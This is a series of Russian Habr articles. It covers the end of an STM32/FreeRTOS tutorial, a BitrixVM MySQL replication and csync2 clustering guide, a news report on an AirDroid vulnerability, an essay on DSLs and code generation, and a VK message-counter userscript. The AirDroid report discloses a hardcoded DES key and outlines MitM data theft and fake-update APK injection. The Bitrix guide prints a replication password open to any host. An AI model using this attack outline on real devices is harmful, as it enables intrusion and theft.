GPIO_InitStructure.GPIO_Mode = GPIO_Mode_Out_PP;
GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz;
GPIO_Init(GPIOB, &GPIO_InitStructure);
}
void prvLedBlink( void *pvParameters )
{
GPIO_SetBits(GPIOB,GPIO_Pin_5);
while(1);
}
```
В тестовых целях ничего полезного не написал, задача просто зажигает светодиод на плате.
Осталась сама функция main(), которая стартанет задачу и шедулер:
```
int main(void)
{
prvSetupHardware();
xTaskCreate(prvLedBlink,(signed char*)"LED",configMINIMAL_STACK_SIZE,
NULL, tskIDLE_PRIORITY + 1, NULL);
/* Start the scheduler. */
vTaskStartScheduler();
while(1);
}
```
Вот в принципе и все. Осталось настроить дебаг – для этого жмем «Debug configuration», во вкладке Debugger выбираем наш программатор (J-Link) и порт JTAG.
Ставим галочку Run To Main, чтобы не барахтаться в стартап-коде, в строке GDBServer cmdline tool указываем путь к экзешнику, идущему с программатором (скачать можно с сайта [Segger](http://www.segger.com/jlink.html)), у меня это **C:\SEGGER\JLinkARM\_V440b\JLinkGDBServerCL.exe**
После жмем Apply и Close.
Теперь компиллим наш проект и жмем на дебаг – если все получилось, после аплода и выполнения, должен загореться светодиод.
#### Заключение
Правильный выбор инструментов разработчика, безусловно, обеспечит наиболее быстрое и комфортное освоение новых технологий. Я надеюсь, что, осветив в данной статье отладочную плату Mini-STM32 и CooCox IDE, я помог разработчикам приглядеться к новому инструменту. Что касается операционной системы FreeRTOS – это бесспорно очень мощное средство, и, на мой взгляд, хорошая ступень, для перехода от программирования прошивок «в лоб» к использованию эмбеддед операционных систем.
#### Ссылки
[Страничка eBay где можно купить отладочную плату](http://www.ebay.com/itm/280580644330#ht_2532wt_952)
[Официальный сайт CooCox](http://www.coocox.org/)
[Официальный сайт FreeRTOS](http://www.freertos.org/)
[Русский мануал по FreeRTOS](http://microsin.net/programming/ARM/freertos-part1.html) | https://habr.com/ru/post/139601/ | null | ru | null |
# Выполняем кластеризацию на примере BitrixVM: просто и понятно
Обеспечение отказоустойчивости – залог непрерывной работы и вообще полного удовлетворения как пользователей, так и админов. В нашем сегодняшнем материале речь пойдет о том, как можно выполнить кластеризацию BitrixVM с помощью простых и доступных средств, чтобы всем было радостно и ничто не мешало спокойно работать.
Итак, имеем два сервера с BitrixVM и развернутыми на них системами Bitrix24. Первое, что следует сделать – для сохранения однотипности данных на обоих узлах выполнить синхронизацию как между базами данных, так и между файлами bitrix.
Bitrix1 — 172.16.10.1
Bitrix2 — 172.16.10.2
Обязательно пропишем в файлах hosts строки на обеих машинах:
```
172.16.10.1 bitrix1
172.16.10.2 bitrix2
```
Для базы данных будем использовать репликацию данных типа master-master. Для этого нам необходимо поправить настройки в файлах **/etc/my.cnf**
Bitrix рекомендует для переопределения своих собственных настроек создать файл **/etc/mysql/conf.d/z\_bx\_custom.cnf**, в котором и следует производить правки:
```
[root@bitrix1 /]# cat /etc/my.cnf
#
# Basic mysql configuration. Use bvat for advanced settings.
# Parameters set by bvat are stored in /etc/mysql/conf.d/bvat.cnf
# If you want to change any parameter, you'll have to redefine it in #/etc/mysql/conf.d/z_bx_custom.cnf
#
```
Создадим файл в соответствии с рекомендацией:
```
touch /etc/mysql/conf.d/z_bx_custom.cnf
[root@bitrix1 /]# nano /etc/mysql/conf.d/z_bx_custom.cnf
[mysqld]
```
Уникальный идентификатор сервера среди участников репликации:
```
server-id = 1
```
Выполняется запись в логи измененных бинарных данных. Без указания этой опции может возникнуть ошибка как в логах, так и при входе в сам bitrix-портал:
```
Cannot execute statement: impossible to write to binary log since BINLOG_FORMAT = STATEMENT and at least one table uses a storage engine limited to row-based logging. InnoDB is limited to row-logging when transaction isolation level is #READ #COMMITTED or READ UNCOMMITTED.
binlog_format=row
```
Логи ошибок:
```
log=/var/log/mysqld.log
log_error = /var/log/mysqld.log
```
Путь к логам транзакций сервера (binlog, который ведет мастер):
```
log-bin = /var/lib/mysql/server-mysql-bin
log-bin-index = /var/lib/mysql/server-mysql-bin.index
```
Путь к relay-логам slave (binlog, скачанный с мастера):
```
relay-log = /var/lib/mysql/slave-mysql-relay-bin
relay-log-index = /var/lib/mysql/slave-mysql-relay-bin.index
```
БД, которые нужно или не нужно реплицировать (выполняем только репликацию для стандартной базы bitrix — **sitemanager0**):
```
replicate-do-db = sitemanager0
replicate-ignore-db=test
replicate-ignore-db=information_schema
replicate-ignore-db=mysql
replicate-ignore-db=performance_schema
```
Не вести журнал binlog для базы данных:
```
binlog-ignore-db = information_schema
binlog-ignore-db = mysql
binlog-ignore-db = performance_schema
```
Чтобы избежать конфликтов автоинкремента, сообщаем серверу, чтобы id генерировались, начиная с 3-го, прибавляя по 10, т.е. 13, 23, 33, 43 и далее:
```
auto_increment_increment = 10
auto_increment_offset = 3
```
Сохранять логи с мастера в свой binlog, чтобы передать слейву:
```
log-slave-updates
```
После этого перезапускаем mysql:
```
[root@bitrix1 /]# /etc/init.d/mysqld restart
```
Далее – необходимо перейти на второй BitrixVM, т.е. bitrix2, и выполнить аналогичные настройки для mysql, предварительно также создав файл **z\_bx\_custom.cnf** в **/etc/mysql/conf.d/**, при этом поменяв ***server-id*** и ***auto\_increment\_offset***:
```
[root@bitrix2 ~]# cat /etc/mysql/conf.d/z_bx_custom.cnf
[mysqld]
server-id = 2
binlog_format=row
log=/var/log/mysqld.log
log_error = /var/log/mysqld.log
log-bin = /var/lib/mysql/server-mysql-bin
log-bin-index = /var/lib/mysql/server-mysql-bin.index
relay-log = /var/lib/mysql/slave-mysql-relay-bin
relay-log-index = /var/lib/mysql/slave-mysql-relay-bin.index
replicate-do-db = sitemanager0
replicate-ignore-db=test
replicate-ignore-db=information_schema
replicate-ignore-db=mysql
replicate-ignore-db=performance_schema
binlog-ignore-db = information_schema
binlog-ignore-db = mysql
binlog-ignore-db = performance_schema
auto_increment_increment = 10
auto_increment_offset = 4
log-slave-updates
```
Выполним рестарт mysql на второй машине:
```
[root@bitrix2 ~]# /etc/init.d/mysqld restart
```
Для репликации создадим пользователя replicator на обеих машинах:
```
root@bitrix1 /]# mysql -u root -p
Enter password:
mysql> create user 'replicator'@'%' identified by 'aGiV4uac';
mysql> grant replication slave on *.* to 'replicator'@'%';
root@bitrix2 /]# mysql -u root -p
Enter password:
mysql> create user 'replicator'@'%' identified by 'aGiV4uac';
mysql> grant replication slave on *.* to 'replicator'@'%';
```
Снова переходим на первую машину и запустим репликацию. Для этого понадобится знать имя ***master\_log*** и ***master\_log\_position*** второй машины bitrix2:
```
[root@bitrix2 /]# mysql -u root -p -e 'show master status;'
+-----------------------+--------+------------+-------------------------------------------+
| File |Position|Binlog_Do_DB| Binlog_Ignore_DB |
+-----------------------+--------+------------+-------------------------------------------+
|server-mysql-bin.000029| 819 | |information_schema,mysql,performance_schema|
+-----------------------+--------+------------+-------------------------------------------+
```
Из полученного списка следует, что **MASTER\_LOG\_FILE = server-mysql-bin.000029**, а **MASTER\_LOG\_POS = 819**
Используем эти данные для настройки репликации на первой машине:
```
[root@bitrix1 /]# root -p -e "CHANGE MASTER TO MASTER_HOST = '172.16.10.2', MASTER_USER = 'replicator', MASTER_PASSWORD = 'aGiV4uac', MASTER_LOG_FILE = 'server-mysql-bin.000029', MASTER_LOG_POS = 819;"
```
Запускаем slave:
```
[root@bitrix1 /]# mysql -u root -p -e 'start slave;'
```
Проверяем статус:
```
[root@bitrix1 /]# mysql -u root -p -e 'show slave status \G;'
*************************** 1. row ***************************
Slave_IO_State: Waiting for master to send event
Master_Host: 172.16.10.2
Master_User: replicator
Master_Port: 3306
Connect_Retry: 60
Master_Log_File: server-mysql-bin.000029
Read_Master_Log_Pos: 819
Relay_Log_File: slave-mysql-relay-bin.000002
Relay_Log_Pos: 72951
Relay_Master_Log_File: server-mysql-bin.000029
Slave_IO_Running: Yes
Slave_SQL_Running: Yes
Replicate_Do_DB: sitemanager0
Replicate_Ignore_DB: test,information_schema,mysql,performance_schema
Replicate_Do_Table:
Replicate_Ignore_Table:
Replicate_Wild_Do_Table:
Replicate_Wild_Ignore_Table:
Last_Errno: 0
Last_Error:
Skip_Counter: 0
Exec_Master_Log_Pos: 819
Relay_Log_Space: 73113
Until_Condition: None
Until_Log_File:
Until_Log_Pos: 0
Master_SSL_Allowed: No
Master_SSL_CA_File:
Master_SSL_CA_Path:
Master_SSL_Cert:
Master_SSL_Cipher:
Master_SSL_Key:
Seconds_Behind_Master: 0
Master_SSL_Verify_Server_Cert: No
Last_IO_Errno: 0
Last_IO_Error:
Last_SQL_Errno: 0
Last_SQL_Error:
Replicate_Ignore_Server_Ids:
Master_Server_Id: 2
```
Параметр **Seconds\_Behind\_Master** (время отставания реплики от мастера) должно равняться нулю:
**Slave\_IO\_State** должно сообщать: **«Waiting for master to send even»**
**Slave\_IO\_Running = Yes**
**Slave\_SQL\_Running = Yes**
Если значения в строке **Slave\_IO\_State** отсутствует, а **Seconds\_Behind\_Master** равно **NULL**, значит, репликация не началась.
Узнаем ***master\_log*** и ***master\_log\_position*** первой машины bitrix1:
```
[root@bitrix1 /]# mysql -u root -p -e 'show master status;'
+-----------------------+--------+------------+-------------------------------------------+
| File |Position|Binlog_Do_DB| Binlog_Ignore_DB |
+-----------------------+--------+------------+-------------------------------------------+
|server-mysql-bin.000026| 2930 | |information_schema,mysql,performance_schema|
+-----------------------+--------+------------+-------------------------------------------+
```
На второй машине bitrix2 настраиваем репликацию:
```
[root@bitrix2 ~]# mysql -u root -p -e "CHANGE MASTER TO MASTER_HOST = '172.16.10.1', MASTER_USER = 'replicator', MASTER_PASSWORD = 'aGiV4uac', MASTER_LOG_FILE = 'server-mysql-bin.000026', MASTER_LOG_POS = 2930;"
[root@bitrix2 ~]# mysql -u root -p -e 'stop slave;'
[root@bitrix2 ~]# mysql -u root -p -e 'show slave status \G;'
```
Должны отобразиться параметры: **Seconds\_Behind\_Master**, **Slave\_IO\_State**, **Slave\_IO\_Running**, **Slave\_SQL\_Running** с параметрами, аналогичными, как и в случае с настройкой репликации на машине bitrix1.
Далее – необходимо перейти к синхронизации самих данных между Bitrix24. Синхронизацию файлов будем выполнять через csync2.
Установка csync должна быть выполнена на обеих машинах:
```
[root@bitrix1 /]# yum install csync2
[root@bitrix2 /]# yum install csync2
```
Включаем на обеих машинах:
```
chkconfig xinetd on
chkconfig csync2 on
```
Генерируем сертификаты, находясь на первой машине bitrix1:
```
[root@bitrix1 /]# openssl genrsa -out /etc/csync2/csync2_ssl_key.pem 1024
[root@bitrix1 /]# openssl req -new -key /etc/csync2/csync2_ssl_key.pem -out /etc/csync2/csync2_ssl_cert.csr
[root@bitrix1 /]# openssl x509 -req -days 600 -in /etc/csync2/csync2_ssl_cert.csr -signkey /etc/csync2/csync2_ssl_key.pem -out /etc/csync2/csync2_ssl_cert.pem
```
Генерируем ключ csync2:
```
csync2 -k /etc/csync2/csync2.cluster.key
```
После довольно продолжительного по времени процесса генерирования ключ **csync2.cluster.key** появится в папке **/etc/csync2/**
Настройка конфига для csync выглядит так:
```
[root@bitrix1 /]# cat /etc/csync2/csync2.cfg
group cluster
{
host bitrix1 bitrix2;
key /etc/csync2/csync2.cluster.key;
include /home/bitrix/www;
```
Исключаем файлы настроек соединения с БД, поскольку используем разные пароли на обеих машинах. Также исключаем директории с кэшем:
```
exclude /home/bitrix/www/bitrix/php_interface/dbconn.php;
exclude /home/bitrix/www/bitrix/.settings.php;
exclude /home/bitrix/www/bitrix/cache;
exclude /home/bitrix/www/bitrix/managed_cache;
```
Задаём параметр отбора файлов: остается тот, что самый новый:
```
auto younger;
}
```
Копируем сгенерированные ключи вместе с конфигурационным файлом **csync2.cfg** с bitrix1 на bitrix2, например, по scp:
```
scp /etc/csync2/csync2* root@172.16.10.2:/test
```
Построим локальную базу всех файлов проекта, с которой будет работать csync2.
```
[root@bitrix1 csync2]# csync2 -cr /
```
После – запускаем:
```
[root@bitrix1 /]# /usr/sbin/csync2 –xv
```
В случае ошибок можно использовать **/usr/sbin/csync2 –Tv**
Если команда завершилась без ошибок, то можно добавлять запись в **/etc/crontab** на обеих машинах для запуска csync каждую минуту:
```
*/1 * * * * root /usr/sbin/csync2 -x >/dev/null 2>&1
```
Остается сделать проверку: создав, к примеру, сообщение в самом портале, чате bitrix24, удалить, создать файл и убедиться, что вносимые изменения переносятся между узлами.
В качестве одного из вариантов единой точки входа можно использовать HAProxy, расположенный на дополнительном сервере. Обзор установки и настройки HAProxy рассматривать в этой статье не будем, т.к. руководств по данному вопросу достаточно, но для примера приведем конфиг файла **/etc/haproxy/haproxy.cfg**:
```
[root@haproxy haproxy]# cat haproxy.cfg
global
log 127.0.0.1 local2 notice
chroot /var/lib/haproxy
pidfile /var/run/haproxy.pid
maxconn 4000
user haproxy
group haproxy
daemon
nbproc 1 # Number of processing cores.
ulimit-n 65536
# turn on stats unix socket
stats socket /var/lib/haproxy/stats
defaults
mode http
log global
option httplog
option dontlognull
option http-server-close
option forwardfor except 127.0.0.0/8
option redispatch
retries 3
timeout http-request 5000
timeout queue 5000
timeout connect 5000
timeout client 5000
timeout server 5000
timeout http-keep-alive 30
timeout check 20 #
maxconn 3000
frontend bitrix.local
mode http
bind :80
default_backend bitrix
backend bitrix
mode http
balance roundrobin
option httpchk
option httpclose
server bitrix1 172.16.10.1:80 check
server bitrix2 172.16.10.2:80 check
```
Кластеризируйте свои сервера на здоровье и да пребудет с вами Сила!
[](https://www.sim-networks.com/protected-cloud?pid=2449&utm_source=habrahabr&utm_campaign=content&utm_medium=postlink)
---
[SIM-CLOUD — Отказоустойчивое облако в Германии](https://www.sim-networks.com/protected-cloud?pid=2449&utm_source=habrahabr&utm_campaign=content&utm_medium=postlink)
[Выделенные серверы в надежных дата-центрах Германии!](https://www.sim-networks.com/dedicated-custom?pid=2449&utm_source=habrahabr&utm_campaign=content&utm_medium=postlink)
Любая конфигурация, быстрая сборка и бесплатная установка | https://habr.com/ru/post/317094/ | null | ru | null |
# В приложении AirDroid была найдена критическая уязвимость, которая позволяет проводить MitM-атаки
Специалисты по информационной безопасности из компании Zimperium провели анализ популярного приложения AirDroid и обнаружили, что в нем присутствует критическая уязвимость. Об этом [сообщается в их официальном блоге](https://blog.zimperium.com/analysis-of-multiple-vulnerabilities-in-airdroid/).
[AirDroid](https://www.airdroid.com/ru/) — популярное приложение удаленного управления Android-устройствами через ПК. Текущая аудитория программы насчитывает не менее 10 млн человек, а всего AirDroid был скачан более 50 млн раз.
Уязвимость связана с возможностью проведения [MitM-атаки](https://habrahabr.ru/post/131710/), последствием которой может стать утечка персональных данных и даже установка злоумышленником стороннего APK на Android-устройство атакуемого пользователя. При этом для атаки используется встроенный функционал AirDroid.
Передача данных при помощи AirDroid происходит, в том числе, по незащищенному HTTP-каналу. Данные шифруется самим приложением при помощи [DES](https://ru.wikipedia.org/wiki/DES) — симметричного алгоритма шифрования, утвержденного IBM еще в 1977 году. Проблема в том, что ключ шифрования **захардкорен** в самом коде AirDroid (890jklms — сам ключ, полученный при помощи парсинга).
Имея ключ шифрования злоумышленник без труда может провести MitM-атаку и, фактически, получить доступ к AirDroid, а через него и к Android-устройству пользователя.
Отправив пакет, зашифрованный при помощи DES с указанным выше ключом, атакующий получит ответ от AirDroid со всей информацией об устройстве, а также с электронной почтой и хэшем пароля, что и продемонстрировали специалисты из Zimperium:
*Ответ на запрос атакующего от AirDroid*
Используя эту уязвимость можно перенаправить запросы о получении обновлений и подсунуть на пользовательское устройство вредоносный APK-пакет, установка которого будет одобрена юзером под видом получения обновления.
Еще злоумышленник может получить статистическую информацию, которая собирается AirDroid и передается на адрес `http://stat3.airdroid.com/` по незащищенному протоколу HTTP (для API и большинства функций приложение все же использует HTTPS). На этом канале связи все также используется минимально-безопасный DES (видимо, чтобы обеспечить хоть какое-нибудь шифрование). Перехваченная при помощи MitM-атаки информация после расшифровки выглядит следующим образом:
Из важной информации злоумышленник может получить ваши `account_id`, `androidid`, `device_id`, `imei`, `imsi`, `logic_key` и `unique_id`.
После публикации информации об уязвимости в блоге Zimperium почти сразу же последовала реакция руководства проекта AirDroid. Вот как прокомментировал ситуацию директор по маркетингу Бетти Чен:
> После публикации в блоге Zimperium мы выпустили обновление для мобильного клиента AirDroid 4.0. В этой версии сделаны некоторые фиксы, но мы все еще ждем полной оптимизации клиента, прежде чем сможем улучшить шифрование. Мы начнем раскатывать обновление по клиентам и серверам в течение ближайших двух недель, по мере наших возможностей.
Необходимо отметить, что Zimperium — далеко не Black Hat-команда. Информацию об уязвимости они передали AirDroid более полугода назад, 24 мая 2016. В обновлениях 4.0.0 (за 28 ноября) и 4.0.1 (за 30 ноября) и, соответственно, в более ранних версиях, она все еще присутствовала. Выложили информацию об угрозе в открытый доступ 1 декабря 2016 года.
Текущая версия приложения — 4.0.2, но какой-либо информации о том, была ли устранена уязвимость, все еще нет. Последняя запись [в официальном блоге](http://blog.airdroid.com/) приложения сообщает о скором выходе версии 4.0.0 и датируется 18 ноября. | https://habr.com/ru/post/317152/ | null | ru | null |
# Разработка приложений на основе DSL и генерации кода
О чем вообще речь
-----------------
В этом посте я хочу порассуждать отвлеченно на тему разработки приложений. Сначала я задумал написать просто про генерацию кода, но по мере обдумывания темы у меня родилось много мыслей, которыми тоже хочу поделиться. Поэтому получилось чуть шире, чем просто про DSL.
Что такое DSL (Domain Specific Language) и кодогенерация
--------------------------------------------------------
DSL — это язык, специфичный для конкретной доменной области. Т.е. это язык, который оперирует понятиями данной области напрямую. Обычно противопоставляется языкам общего назначения. В принципе ничто не мешает быть языку быть просто формальным синтаксисом, никак не интерпретируемым компьютером, но пользы от такого языка не очень много. Компьютерный язык обычно подразумевает обработку каким-либо образом, поэтому к DSL неплохо бы иметь какой-нибудь интерпретатор. Соответственно есть два стандартных подхода — интерпретация и компиляция. С интерпретацией более-менее ясно, а с компиляцией история следующая. Можно конечно транслировать сразу в инструкции процессора или на худой конец в ассемблер, но зачем, если можно «писать» нормальный код, в смысле компилировать в текст высокоуровневого языка, который потом преобразуется своим компилятором в нечто, запускаемое не компьютере. Поэтому чаще и говорят «кодогенерация», а не компиляция, хотя последний термин тоже корректен и используется.
Производительность труда
------------------------
Если взять разработку приложений, то главной проблемой я считаю низкую производительность, т.е. «количество продукта» на затраченные усилия. В принципе похожая проблема встречается во всех отраслях промышленности, и есть как общие методы решения, так и специфичные. У нас есть много разных вещей для поднятия этой самой производительности — высокоуровневые языки, мощные IDE, continious integration tools, scrum, canban, coffee points, coffee ladies и много чего еще. Но тем не менее разработка продуктов занимает кучу времени. Особенно это заметно, когда то, что нужно сделать можно легко описать словами за несколько минут, а сделать — занимает недели. Существенный разрыв между «что» и «как». «Что делать» — просто и понятно, «как делать» — просто, понятно, но долго. Я хочу сделать «как» — быстро, а в идеале вообще не делать. Короче, декларативный подход.
Уровни абстракции
-----------------
Есть очень полезное понятие — уровень абстракции. Оно помогает структурировать приложения. Допустим у нас есть приложение для некоторой предметной области. С одной стороны (вверху) есть понятия из этой предметной области, которые так или иначе будут фигурировать в приложении, с другой стороны есть язык программирования общего назначения (внизу), в котором есть байты, типы, методы и тому подобные элементы, не имеющие ничего общего с предметной областью (не будем спускаться ниже до операционной системы, электрических импульсов, транзисторов, молекул, атомов, протонов, кварков...). Работа программиста как раз и состоит в том чтобы увязать эти два слоя или заполнить область на картинке (левая картинка). Если приложение большое и доменная область достаточно «далеко», то в приложении возникают различные промежуточные уровни абстракции, иначе можно не совладать со сложностью (правая картинка).
Уровни, конечно, возникают, но возникают они логически. И надо прикладывать определенные усилия, чтобы код тоже поддерживал уровни. Это особенно сложно, если язык один и все запущено в одном процессе. Ведь ничто не мешает вызвать метод из уровня 1 на уровне 3. Да и функции или классы обычно не маркируются уровнем абстракции. Что нам по этому поводу предлагает DSL с кодогеном? Нам по-прежнему надо заполнить ту же область. Соответственно, верхнюю часть заполняем нашим языком, а нижнюю сгенерированным кодом:
В отличие от предыдущего примера уровень здесь непроницаем, т.е. из генерированного кода нельзя вызвать инструкции DSL (особенно если их там нет). Не будем рассматривать случаи, когда генератор делает код на том же DSL… Еще один важный момент здесь — это то, что generated code можно рассматривать как скомпилированный, в том смысле, что он создается автоматически и смотреть в него незачем. При условии, что генератор уже написан (и хорошо протестирован). Т.е. написав язык и генератор к нему можно значительно сузить область приложения. Это особенно ценно при разработке нескольких приложений в этой сфере или при постоянном изменении одного.
Управление «усложнением»
------------------------
Давайте представим себе ситуацию, которая, как мне кажется, встречается довольно часто. Допустим вы получаете заказ на разработку некоторой системы. Вам приносят идеальную спецификацию и вы придумываете идеальную архитектуру системы где все прекрасно, компоненты, интерфейсы. инкапсуляция и много других не менее прекрасных паттернов. Возьмем конкретный пример — интернет-магазин велосипедов. Вы написали согласно спецификации интернет-магазин и все счастливы. Магазин процветает и задумывается о расширении бизнеса, а именно начать еще торговать скутерами и мотоциклами. И вот они приходят к вам и просят доработать магазин. У вас была прекрасная архитектура, заточенная на велосипеды, но теперь надо перетачивать. С одной стороны скутеры и мотоциклы похожи на велосипеды, и у тех и у тех есть запчасти, аксессуары, сопутствующие товары, но есть и различия.
Система в целом остается такой же, но часть функций должна поддерживать еще новые типы объектов, или должны появиться отдельные функции для новых типов объектов.
Произошло усложнение доменной области, т.е. вместо только велосипедов теперь надо поддерживать велосипеды, скутеры и мотоциклы. Наша системы тоже должна быть усложнена. Я думаю, что в общем случае сложность программной системы соответствует сложности моделируемой системы. При этом существуют минимально возможный уровень сложности при котором все еще можно решить задачу. (Верхнего уровня не существует — можно придумать бесконечно сложное решение для любой проблемы). Я считаю, что надо стремиться к минимальному уровню сложности, так как из всех возможных решений самое простое — самое лучшее. Короче, код должен быть простым.
Вернемся к нашему интернет-магазину. Пусть есть некая функция, которая написана для велосипеда. Теперь она должна работать и для новых типов.
`public void process(Bicycle b) {`
`genericCode`
`specificForBicycle`
`}`
для этого должен быть specificForMotobike код внутри. Какие есть варианты решения?
#### Copy/paste
`public void process(Motobike b) {`
`genericCode`
`specificForMotobike`
`}`
Скопировали метод, заменили специфичный для типа код и все. Просто, но есть проблема. Если надо менять genericCode, то надо менять то же самое в нескольких местах, а это время, ошибки…
#### If/else
`public void process(Object b) {`
`genericCode`
`if(b instanceof Bicycle) {`
`specificForBicycle`
`} else if(b instanceof Motobike) {`
`specificForMotobike`
`}`
`}`
Наставили условий и все готово. Немного лучше, чем copy/paste, но опять есть проблема. А завтра они захотят продавать квадроциклы и придется по всему коду искать такие куски и добавлять еще один else.
#### Абстрактный метод
`abstract void specific()`
`public void process(Vehicle b) {`
`genericCode`
`b.specific()`
`}`
В этом месте вызывается абстрактный метод, который реализован для каждого типа. В принципе это может оказаться приемлемым вариантом, а может и существенно усложнить систему. Многоэтажные иерархии наследования с кучей переопределенных методов, когда нелегко разобраться какой конкретно метод вызывается — нередкая ситуация.
#### DSL и генерация кода
DSL разрабатывается таким образом, что все особенности типов можно описать. В генераторе кода пишутся шаблоны, которые применяются к описанию типов и получается код как в copy/paste
Шаблон:
`public void process("TYPE" b) {`
`genericCode`
`"SPECIFIC CODE"`
}
DSL:
`type Bicycle:`
`property A, ( description, value, links ...)`
`type Motobile:`
`property B,`
`property C,`
Дальше для каждого типа из DSL шаблон трансформируется в конкретный код. Из моего опыта сложно сразу написать язык, который бы без изменений поддерживал новые сущности, но изменения языка и генератора обычно небольшие и простые. Вообще подход следующий — генерируется много простого кода, который легко читать и понимать, и неважно что файлов получается много и они могут быть по несколько тысяч строк. Ведь это же не руками писать.
DSL вначале или формализованная спецификация
--------------------------------------------
Здесь я подхожу к самому главному. (до этого было вступление :) Как обычно выглядит процесс начала проекта? Пишутся спецификации, рисуются диаграммы, прорабатывается архитектура, этапы проекта. И когда это все сделано, начинают писать код. Спецификации — это документы в свободной форме. Почему бы спецификации не быть формализованной? Моя основная идея — сначала разрабатывать язык описания системы в терминах доменной области. Это будет частично и описание архитектуры, и частично формализованной спецификацией. При этом заказчику будет понятен язык, так как он непосредственно оперирует терминами предметной области, и он тоже сможет принять участие в разработке системы. Идея, конечно, не моя. В литературе такой подход называется Domain-Driven Design (DDD). Я лишь утверждаю, что подход DDD хорошо получается с DSL и генерацией кода.
Формализация означает возможность автоматической обработки. Можно добавить различные проверки на консистентность, непротиворечивость. С другой стороны, разработчики системы имеют готовую формализованную декларацию что должно быть. Остается написать преобразователь ~~в как~~ в работающую систему, те самые кодогенераторы.
Не все так гладко
-----------------
Конечно, не все так просто и гладко. Как у любого другого подхода здесь есть свои проблемы и недостатки.
* Не всегда понятно что генерировать. Надо представлять себе конечный систему. Ведь не весь код генерируется и надо понимать что будет сгенерировано, а что написано руками, и как это все будет работать вместе. Иногда проще сначала написать все вручную (держа в голове будущую генерацию), а потом часть кода вытащить в шаблоны и генераторы.
* Вторая проблема — баланс сгенерированного и ручного кода. Нет смысла выносить в шаблон код, который фактически не параметризован и одинаков всегда. Плохой практикой является одновременное использование подходов из примеров выше.
* Зависимости между ручным и генерированным кодом. Не надо делать так, чтобы ручной код ломался при изменении DSL. (текста на DSL)
* «Повреждение» мозга кодогенерацией. Написание кодогенераторов несколько отличается от написания обычных программ. Использование «не того» стиля приводит к написанию «не очень» кода. Спасает ревью и «здоровые» коллеги.
* Еще один момент, с которым я столкнулся — сложно убедить заказчика в правильности подхода. Мол, раньше обходились как-то, и дальше нормально будем жить, а ты тут со своими идеями. И вообще, где поддержка скутеров, которую ты должен был вчера сделать? Иди работай.
* Вы видели вакансии DSL-разработчик? Но тут, наверное, так же как устроиться программистом на Haskell. Устраиваетесь программистом на Java(C++, Perl, Python, etc). Убеждаете, что ~~Haskell~~ DSL — это круто. И вот вы уже DSL-разработчик.
Средства для разработки DSL и написания генераторов кода
--------------------------------------------------------
Все что я написал до этого имело бы мало практического смысла без нормальных средств разработки. К счастью такие средства есть. Средства есть разные, но мой выбор Eclipse Xtext. Самое главное, что есть в xtext — интеграция в Eclipse IDE, а именно есть все стандартные свойства — подсветка синтаксиса, ошибки и предупреждения, content assist, quick fix. Это что называется «из коробки». А дальше на что фантазии хватит. Я думаю, что сделаю еще несколько практических постов по теме, если будет интерес.
Заключение
----------
Я думаю, я не открыл Америки. Многое из того, что я написал — банальные вещи. Но с другой стороны, я считаю тема DSL и генерации кода недостаточно раскрыта, поэтому я решил попробовать свои силы в просвещении. Да и про Eclipse Xtext не так много слышали, а тем более используют. | https://habr.com/ru/post/239361/ | null | ru | null |
# Обновляем счётчик сообщений Вконтакте без перезагрузки страницы
Я пользуюсь той-самой-социальной-сетью по нескольким причинам, одна из которых — возможность обмена текстовыми сообщениями (некоторые мои знакомые принципиально не пользуются мессенжерами, приходится подстраиваться). Раньше приходилось постоянно обновлять страницу, чтобы узнать о новых сообщениях, не так давно, Вконтакте появился сервис мгновенных сообщений, но он мне сразу не пришёлся по душе и я решил автоматизировать процесс.
В этом топике я расскажу о своей реализации механизма обновления индикатора «Мои сообщения» без перезагрузки страницы. Хотите узнать подробности? Добро пожаловать под кат!
#### Теория
Скрипт реализован с помощью [jQuery](http://ru.wikipedia.org/wiki/JQuery) и подключается к сайту с помощью [Greasemonkey](http://ru.wikipedia.org/wiki/Greasemonkey).
Для начала, расскажу принцип действия на пальцах:
* С определённым интервалом (для себя я установил 20 секунд) загружаем страницу с сообщенями с помощью AJAX
* Находим количество непрочитанных сообщений
* Если результат пункта 2 равен нулю, то меняем текст ссылки на *«Мои сообщения»*
* Если реэультат отличен от нуля, то меняем текст на *«Мои сообщения (**N**)»*
#### Практика
Для того, чтобы внедрить скрипт на страницу, я, как пользователь Firefox, воспользовался плагином Greasemonkey. Насколько мне известно, существует версия Greasemonkey для Google Chrome, Opera сама умеет выполнять пользовательские скрипты, что называется, «из коробки». Думаю, адаптировать мой скрипт для Оперы и Хрома — дело недолгое и несложное.
Для того, чтобы Greasemonkey принял наш скрипт, он должен соответствовать двум критериям:
* Имя скрипта должно иметь вид *script\_name**.user.js***
* Перед телом скрипта необходимо написать заголовок, если Вы ещё не знаете, каким образом он должен формироваться, для начала ознакомьтесь с [этим топиком](http://habrahabr.ru/blogs/GreaseMonkey/39214/)
Заголовок для нашего скрипта:
```
// ==UserScript==
// @name DynamicVK
// @namespace vk.com/stryaponoff
// @description Makes VK dynamic
// @author stryaponoff
// @include *vk.com/*
// @include *vkontakte.ru/*
// @require http://ajax.googleapis.com/ajax/libs/jquery/1.3/jquery.min.js
// ==/UserScript==
```
Затем укажем временной интервал для проверки сообщений (в миллисекундах):
```
var RefreshInterval = 20000;
```
Впервые за время моего знакомства с JavaScript, мне понадобилось найти количество вхождений подстроки в строку. Каково же было моё удивление, когда я не нашёл соответствующей функции в JS. В итоге родился следующий код:
```
function SubStrCount(source, string)
{
var pos = 0;
var count = 0;
var offset = -1;
var len = 0;
while ((offset = source.indexOf(string, offset + 1)) != -1)
{
if (len > 0 && (offset + string.length) > len) {
return false;
} else {
count++;
}
}
return count;
}
```
Принцип действия следующий — мы просто находим символ, с которого начинается первое вхождение подстроки *string* в строку *source*. Инкрементим счётчик. Затем повторяем то же самое, только за начало поиска берём не первый символ строки *source*, а следующий сразу за найденным нам вхождением. И так до тех пор, пока не переберём всю строку.
Дальше начинается самое интересное — пишем основную функцию нашего скрипта:
```
function CheckMail()
{
// Получаем ссылку на нашу страницу сообщений
var mail_href = $('#l_msg a').attr('href');
// Получаем через AJAX её код
$.get(mail_href, function(data)
{
// Находим количество непрочитанных сообщений
var NewMessagesCount = SubStrCount(data, 'read=\\"0\\"');
// Если количество новых сообщений не равно нулю, то
if (NewMessagesCount != 0) {
// Изменяем текст на "Мои Сообщения (N)"
$('#l_msg a').html('Мои Сообщения (**' + NewMessagesCount + '**)');
// В противном случае ...
} else {
// Изменяем на "Мои Сообщения"
$('#l_msg a').html('Мои Сообщения');
}
});
}
```
